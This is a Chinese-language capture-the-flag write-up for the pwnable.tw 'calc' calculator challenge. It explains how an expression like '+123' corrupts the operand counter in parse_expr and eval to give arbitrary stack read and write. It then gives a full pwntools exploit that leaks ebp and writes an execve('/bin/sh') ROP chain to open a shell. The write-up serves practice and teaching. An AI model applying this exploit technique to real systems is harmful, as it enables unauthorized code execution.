对于一个尚未入门的菜鸟来说,这道题刷新了我对漏洞利用的理解,赶巧碰上感冒,花了好几天结合大佬的wp才理清逻辑,那么废话不多说,直接开始解题。。。
32位程序,没开PIE
先来看主函数
ssignal和alarm没什么作用,只是限个时,fflush是清空缓冲区
calc函数
bzero是置零,get_expr是获取不超过1024个字符,init_pool是初始化函数,等同于把v1数组置零
重点是parse_expr函数,我在伪代码里面加上一些注释可以方便理解,由于变量比较多,我也是做了一些笔记避免我混淆,以下变量只讨论parse_expr函数,切记不可以和其他函数内的变量混淆
a2[0] 操作数个数 a2[a2[0]] 操作数 s1 临时变量,储存操作数 s 存储运算符(相当于栈) s[v6] 相当于栈顶指针
函数的主逻辑是for循环,利用for循环检查每个字符,函数逻辑我均写为注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 for ( i = 0 ; ; ++i ) { if ( (unsigned int )(*(char *)(i + a1) - 48 ) > 9 ) { v7 = i + a1 - v4; s1 = (char *)malloc (v7 + 1 ); memcpy (s1, v4, v7); s1[v7] = 0 ; if ( !strcmp (s1, "0" ) ) { puts ("prevent division by zero" ); fflush(stdout ); return 0 ; } v9 = atoi(s1); if ( v9 > 0 ) { v3 = (*a2)++; a2[v3 + 1 ] = v9; } if ( *(_BYTE *)(i + a1) && (unsigned int )(*(char *)(i + 1 + a1) - 48 ) > 9 ) { puts ("expression error!" ); fflush(stdout ); return 0 ; } v4 = i + 1 + a1; if ( s[v6] ) { switch ( *(_BYTE *)(i + a1) ) { case '%' : case '*' : case '/' : if ( s[v6] != 43 && s[v6] != 45 ) goto LABEL_14; s[++v6] = *(_BYTE *)(i + a1); break ; case '+' : case '-' : LABEL_14: eval(a2, s[v6]); s[v6] = *(_BYTE *)(i + a1); break ; default : eval(a2, s[v6--]); break ; } } else { s[v6] = *(_BYTE *)(i + a1); } if ( !*(_BYTE *)(i + a1) ) break ; } }
可以利用的漏洞点是在eval中,检查错误中没有检查像’+123\n’这种表达式,因此在这里它是合法的,如果我们输入’+123\n‘,那么在程序遇到’\n’结束前变量储存的值是这样的 a2[0] = 1
a2[a2[0]] = a2[1] = 123
s[0] = ‘+’
那么在eval计算时,则会执行下图第一个框内的代码,使得a2[0] = 1 + 123 = 124
a2是什么?正是我们的操作数个数,那么我们成功改变了操作数的个数,那我们就可以利用这个点就可以实现任意地址读和任意地址写了
直接上exp,注释中有说明为什么这么写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from struct import packfrom LibcSearcher import *from ae64 import AE64import base64from ctypes import *try : p = remote('chall.pwnable.tw' , 10100 ) except : p = process('./pwn' ) context(arch="i386" ,os="linux" ,log_level="debug" ) elf=ELF("/home/feichai/ctf_file/chal" ) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) def pwn (): p.recvuntil(b"=== Welcome to SECPROG calculator ===" ) p.sendline(b'+360' ) p.recvuntil(b"\n" ) old_ebp = int (p.recvline()) print ("old_ebp:" ,old_ebp) gadget=[0x0805c34b ,0xb ,0x080701d0 ,0 ,0 ,old_ebp,0x08049a21 ,u32('/bin' ),u32('/sh\x00' )] for i in range (0 ,len (gadget)): p.sendline('+' +str (361 +i)) tmp=gadget[i]-int (p.recvline()) if tmp>0 : p.sendline('+' +str (361 +i)+'+' +str (tmp)) else : p.sendline('+' +str (361 +i)+str (tmp)) p.recvline() p.sendline() p.interactive() if __name__=='__main__' : pwn()